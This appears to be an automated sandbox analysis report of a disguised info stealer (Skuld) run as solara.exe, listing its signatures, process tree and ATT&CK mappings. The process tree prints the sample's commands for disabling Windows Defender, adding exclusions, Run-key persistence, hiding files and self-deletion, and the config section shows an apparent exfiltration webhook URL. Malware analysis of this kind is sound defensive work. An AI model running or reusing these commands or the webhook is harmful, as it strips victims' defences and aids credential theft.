Analysis
- max time kernel
131s - max time network
134s - platform
windows10-2004_x64 - resource
win10v2004-20240508-en - resource tags
- submitted
24/06/2024, 12:15
Errors
General
- Target solara.exe
- Size 31.2MB
- Sample240624-pe3jys1fpg
- SHA256 81c43844d18eee0ff82671ed0235cd9081d62668fc6c5f338a70cdad48d38f3c
Malware Config
Extracted
-
skuld
-
https://discord.com/api/webhooks/1253312688864497665/375hzY1fiOjkE25L3-nbomdQUITdEzw5TbF9fCfxMycDpfz09qByG-R9KOpVUwhbMOaj
Signatures
- Skuld stealer
An info stealer written in Go lang.
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 5 IoCs
- Loads dropped DLL 64 IoCs
- Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- UPX packed file 64 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Adds Run key to start application 2 TTPs 2 IoCs
- Looks up external IP address via web service 7 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Drops file in System32 directory 3 IoCs
- Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs
- Drops file in Windows directory 13 IoCs
- Detects Pyinstaller 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
- Detects videocard installed 1 TTPs 2 IoCs
Uses WMIC.exe to determine videocard installed.
- Enumerates processes with tasklist 1 TTPs 1 IoCs
- Modifies data under HKEY_USERS 15 IoCs
- Modifies registry class 1 IoCs
- Modifies registry key 1 TTPs 2 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 64 IoCs
- Suspicious use of SendNotifyMessage 64 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Views/modifies file attributes 1 TTPs 3 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\solara.exe"C:\Users\Admin\AppData\Local\Temp\solara.exe"1⤵
- Checks computer location settings
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\1.exe"C:\Windows\system32\1.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\1.exe"C:\Windows\system32\1.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows\SysWOW64\1.exe'"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Windows\SysWOW64\1.exe'5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('', 0, '', 0+16);close()""4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\mshta.exemshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('', 0, '', 0+16);close()"5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\tasklist.exetasklist /FO LIST5⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exewmic csproduct get uuid5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\reg.exeREG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 25⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"4⤵
-
C:\Windows\system32\reg.exeREG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 25⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"4⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name5⤵
- Detects videocard installed
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"4⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name5⤵
- Detects videocard installed
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Windows\SysWOW64\1.exe""4⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Windows\SysWOW64\1.exe"5⤵
- Drops file in System32 directory
- Views/modifies file attributes
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'"4⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
-
-
-
C:\Windows\2.exe"C:\Windows\2.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\2.exe"C:\Windows\2.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v empyrean /f"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\reg.exereg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v empyrean /f5⤵
- Modifies registry key
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v empyrean /t REG_SZ /d C:\Users\Admin\AppData\Roaming\empyrean\run.bat /f"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v empyrean /t REG_SZ /d C:\Users\Admin\AppData\Roaming\empyrean\run.bat /f5⤵
- Adds Run key to start application
- Modifies registry key
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Windows\System32\wbem\WMIC.exe csproduct get uuid"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\wbem\WMIC.exeC:\Windows\System32\wbem\WMIC.exe csproduct get uuid5⤵
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Windows\System32\wbem\WMIC.exe csproduct get uuid"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\wbem\WMIC.exeC:\Windows\System32\wbem\WMIC.exe csproduct get uuid5⤵
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Windows\System32\wbem\WMIC.exe csproduct get uuid"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\wbem\WMIC.exeC:\Windows\System32\wbem\WMIC.exe csproduct get uuid5⤵
-
-
-
-
-
C:\Users\Admin\AppData\Roaming\3.exe"C:\Users\Admin\AppData\Roaming\3.exe"2⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\attrib.exeattrib +h +s C:\Users\Admin\AppData\Roaming\3.exe3⤵
- Views/modifies file attributes
-
-
C:\Windows\system32\attrib.exeattrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe3⤵
- Views/modifies file attributes
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\solara.exe" >> NUL2⤵
-
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /41⤵
- Checks SCSI registry key(s)
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe"1⤵
-
C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x4 /state0:0xa3912855 /state1:0x41c64e6d1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
Network
MITRE ATT&CK Enterprise v15
Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Defense Evasion
Hide Artifacts
2Hidden Files and Directories
2Modify Registry
2Replay Monitor
Loading Replay Monitor...
Downloads
_bz2.pyd
_ctypes.pyd
_lzma.pyd
_socket.pyd
base_library.zip
libffi-7.dll
pyexpat.pyd
python3.DLL
python310.dll
VCRUNTIME140.dll
_bz2.pyd
_ctypes.pyd
_decimal.pyd
_hashlib.pyd
_lzma.pyd
_queue.pyd
_socket.pyd
_sqlite3.pyd
_ssl.pyd
base_library.zip
blank.aes
libcrypto-1_1.dll
libffi-7.dll
libssl-1_1.dll
python310.dll
rar.exe
rarreg.key
select.pyd
sqlite3.dll
unicodedata.pyd
__PSScriptPolicyTest_hw1ggm02.ix0.ps1
3.exe
2.exe
1.exe
downloads_db
downloads_db
memory/372-287-0x0000000000400000-0x000000000254D000-memory.dmp
memory/372-0-0x0000000000400000-0x000000000254D000-memory.dmp
memory/372-331-0x0000000000400000-0x000000000254D000-memory.dmp
memory/2448-435-0x00007FF840E00000-0x00007FF840E0C000-memory.dmp
memory/2448-452-0x00007FF8404C0000-0x00007FF8404E9000-memory.dmp
memory/2448-657-0x00007FF83A770000-0x00007FF83A79E000-memory.dmp
memory/2448-658-0x00007FF850A60000-0x00007FF850A8E000-memory.dmp
memory/2448-397-0x00007FF851270000-0x00007FF85129B000-memory.dmp
memory/2448-398-0x00007FF850AE0000-0x00007FF850B22000-memory.dmp
memory/2448-659-0x00007FF841750000-0x00007FF841BBE000-memory.dmp
memory/2448-384-0x00007FF83A7A0000-0x00007FF83A7B9000-memory.dmp
memory/2448-401-0x00007FF8511B0000-0x00007FF8511CC000-memory.dmp
memory/2448-400-0x00007FF851DE0000-0x00007FF851DEA000-memory.dmp
memory/2448-383-0x00007FF83B0F0000-0x00007FF83B124000-memory.dmp
memory/2448-378-0x00007FF8509A0000-0x00007FF8509B9000-memory.dmp
memory/2448-402-0x00007FF841750000-0x00007FF841BBE000-memory.dmp
memory/2448-656-0x00007FF8511B0000-0x00007FF8511CC000-memory.dmp
memory/2448-405-0x00007FF850A60000-0x00007FF850A8E000-memory.dmp
memory/2448-404-0x00007FF841690000-0x00007FF841748000-memory.dmp
memory/2448-403-0x00007FF841310000-0x00007FF841685000-memory.dmp
memory/2448-388-0x00007FF839740000-0x00007FF8397FC000-memory.dmp
memory/2448-411-0x00007FF83A7A0000-0x00007FF83A7B9000-memory.dmp
memory/2448-412-0x00007FF8411F0000-0x00007FF841308000-memory.dmp
memory/2448-410-0x00007FF850A30000-0x00007FF850A56000-memory.dmp
memory/2448-409-0x00007FF851260000-0x00007FF85126B000-memory.dmp
memory/2448-408-0x00007FF848260000-0x00007FF84828D000-memory.dmp
memory/2448-407-0x00007FF851190000-0x00007FF8511A4000-memory.dmp
memory/2448-406-0x00007FF84D9E0000-0x00007FF84DA04000-memory.dmp
memory/2448-605-0x00007FF8401B0000-0x00007FF840402000-memory.dmp
memory/2448-553-0x00007FF84D9E0000-0x00007FF84DA04000-memory.dmp
memory/2448-561-0x00007FF83A770000-0x00007FF83A79E000-memory.dmp
memory/2448-577-0x00007FF840AD0000-0x00007FF840B1C000-memory.dmp
memory/2448-576-0x00007FF840B20000-0x00007FF840B37000-memory.dmp
memory/2448-389-0x00007FF83A770000-0x00007FF83A79E000-memory.dmp
memory/2448-339-0x00007FF841750000-0x00007FF841BBE000-memory.dmp
memory/2448-536-0x00007FF840B40000-0x00007FF840B62000-memory.dmp
memory/2448-370-0x00007FF84D9E0000-0x00007FF84DA04000-memory.dmp
memory/2448-385-0x00007FF851250000-0x00007FF85125D000-memory.dmp
memory/2448-493-0x00007FF840DE0000-0x00007FF840DF5000-memory.dmp
memory/2448-470-0x00007FF84D9E0000-0x00007FF84DA04000-memory.dmp
memory/2448-439-0x00007FF840B70000-0x00007FF840B84000-memory.dmp
memory/2448-440-0x00007FF840B40000-0x00007FF840B62000-memory.dmp
memory/2448-415-0x00007FF840FB0000-0x00007FF841121000-memory.dmp
memory/2448-414-0x00007FF8510D0000-0x00007FF8510EF000-memory.dmp
memory/2448-413-0x00007FF839740000-0x00007FF8397FC000-memory.dmp
memory/2448-478-0x00007FF83A770000-0x00007FF83A79E000-memory.dmp
memory/2448-417-0x00007FF8509F0000-0x00007FF8509FB000-memory.dmp
memory/2448-418-0x00007FF8509E0000-0x00007FF8509EC000-memory.dmp
memory/2448-416-0x00007FF850A00000-0x00007FF850A0B000-memory.dmp
memory/2448-436-0x00007FF840DE0000-0x00007FF840DF5000-memory.dmp
memory/2448-371-0x00007FF852160000-0x00007FF85216F000-memory.dmp
memory/2448-434-0x00007FF841690000-0x00007FF841748000-memory.dmp
memory/2448-433-0x00007FF841310000-0x00007FF841685000-memory.dmp
memory/2448-387-0x00007FF8510C0000-0x00007FF8510CD000-memory.dmp
memory/2448-469-0x00007FF841750000-0x00007FF841BBE000-memory.dmp
memory/2448-483-0x00007FF8511B0000-0x00007FF8511CC000-memory.dmp
memory/2448-438-0x00007FF840B90000-0x00007FF840BA0000-memory.dmp
memory/2448-445-0x00007FF840AD0000-0x00007FF840B1C000-memory.dmp
memory/2448-444-0x00007FF850E60000-0x00007FF850E79000-memory.dmp
memory/2448-448-0x00007FF84FBA0000-0x00007FF84FBBE000-memory.dmp
memory/2448-447-0x00007FF84FBC0000-0x00007FF84FBD1000-memory.dmp
memory/2448-446-0x00007FF8411F0000-0x00007FF841308000-memory.dmp
memory/2448-443-0x00007FF840B20000-0x00007FF840B37000-memory.dmp
memory/2448-442-0x00007FF840FB0000-0x00007FF841121000-memory.dmp
memory/2448-441-0x00007FF850A30000-0x00007FF850A56000-memory.dmp
memory/2448-432-0x00007FF840E10000-0x00007FF840E22000-memory.dmp
memory/2448-431-0x00007FF8427A0000-0x00007FF8427AD000-memory.dmp
memory/2448-430-0x00007FF8509C0000-0x00007FF8509CC000-memory.dmp
memory/2448-429-0x00007FF842890000-0x00007FF84289C000-memory.dmp
memory/2448-428-0x00007FF8429B0000-0x00007FF8429BC000-memory.dmp
memory/2448-427-0x00007FF847BB0000-0x00007FF847BBB000-memory.dmp
memory/2448-426-0x00007FF847BC0000-0x00007FF847BCB000-memory.dmp
memory/2448-425-0x00007FF847BD0000-0x00007FF847BDC000-memory.dmp
memory/2448-424-0x00007FF847BE0000-0x00007FF847BEC000-memory.dmp
memory/2448-423-0x00007FF847BF0000-0x00007FF847BFE000-memory.dmp
memory/2448-422-0x00007FF848290000-0x00007FF84829D000-memory.dmp
memory/2448-421-0x00007FF84D9D0000-0x00007FF84D9DC000-memory.dmp
memory/2448-420-0x00007FF850890000-0x00007FF85089B000-memory.dmp
memory/2448-419-0x00007FF8509D0000-0x00007FF8509DB000-memory.dmp
memory/2448-479-0x00007FF839740000-0x00007FF8397FC000-memory.dmp
memory/2448-437-0x00007FF850A60000-0x00007FF850A8E000-memory.dmp
memory/2448-451-0x00007FF8510D0000-0x00007FF8510EF000-memory.dmp
memory/2448-453-0x00007FF8401B0000-0x00007FF840402000-memory.dmp
memory/2448-379-0x00007FF848260000-0x00007FF84828D000-memory.dmp
memory/3144-348-0x00000216B91D0000-0x00000216B91F2000-memory.dmp
memory/3704-245-0x00007FF850E80000-0x00007FF850FF1000-memory.dmp
memory/3704-332-0x00007FF8515E0000-0x00007FF8515F9000-memory.dmp
memory/3704-454-0x00007FF841F40000-0x00007FF8423AE000-memory.dmp
memory/3704-157-0x00007FF854E10000-0x00007FF854E34000-memory.dmp
memory/3704-242-0x00007FF854CC0000-0x00007FF854CD9000-memory.dmp
memory/3704-390-0x00007FF854E10000-0x00007FF854E34000-memory.dmp
memory/3704-340-0x00007FF851560000-0x00007FF851574000-memory.dmp
memory/3704-244-0x00007FF851600000-0x00007FF85161F000-memory.dmp
memory/3704-135-0x00007FF841F40000-0x00007FF8423AE000-memory.dmp
memory/3704-337-0x00007FF854D50000-0x00007FF854D5D000-memory.dmp
memory/3704-158-0x00007FF856790000-0x00007FF85679F000-memory.dmp
memory/3704-333-0x00007FF856780000-0x00007FF85678D000-memory.dmp
memory/3704-241-0x00007FF851620000-0x00007FF85164D000-memory.dmp
memory/3704-334-0x00007FF851580000-0x00007FF8515AE000-memory.dmp
memory/3704-335-0x00007FF841BC0000-0x00007FF841F35000-memory.dmp
memory/3704-537-0x00007FF841F40000-0x00007FF8423AE000-memory.dmp
memory/3704-336-0x00007FF8513F0000-0x00007FF8514A8000-memory.dmp
memory/3704-338-0x00007FF850B30000-0x00007FF850C48000-memory.dmp
memory/3704-399-0x00007FF850E80000-0x00007FF850FF1000-memory.dmp
memory/3704-396-0x00007FF851600000-0x00007FF85161F000-memory.dmp
memory/3704-386-0x00007FF841F40000-0x00007FF8423AE000-memory.dmp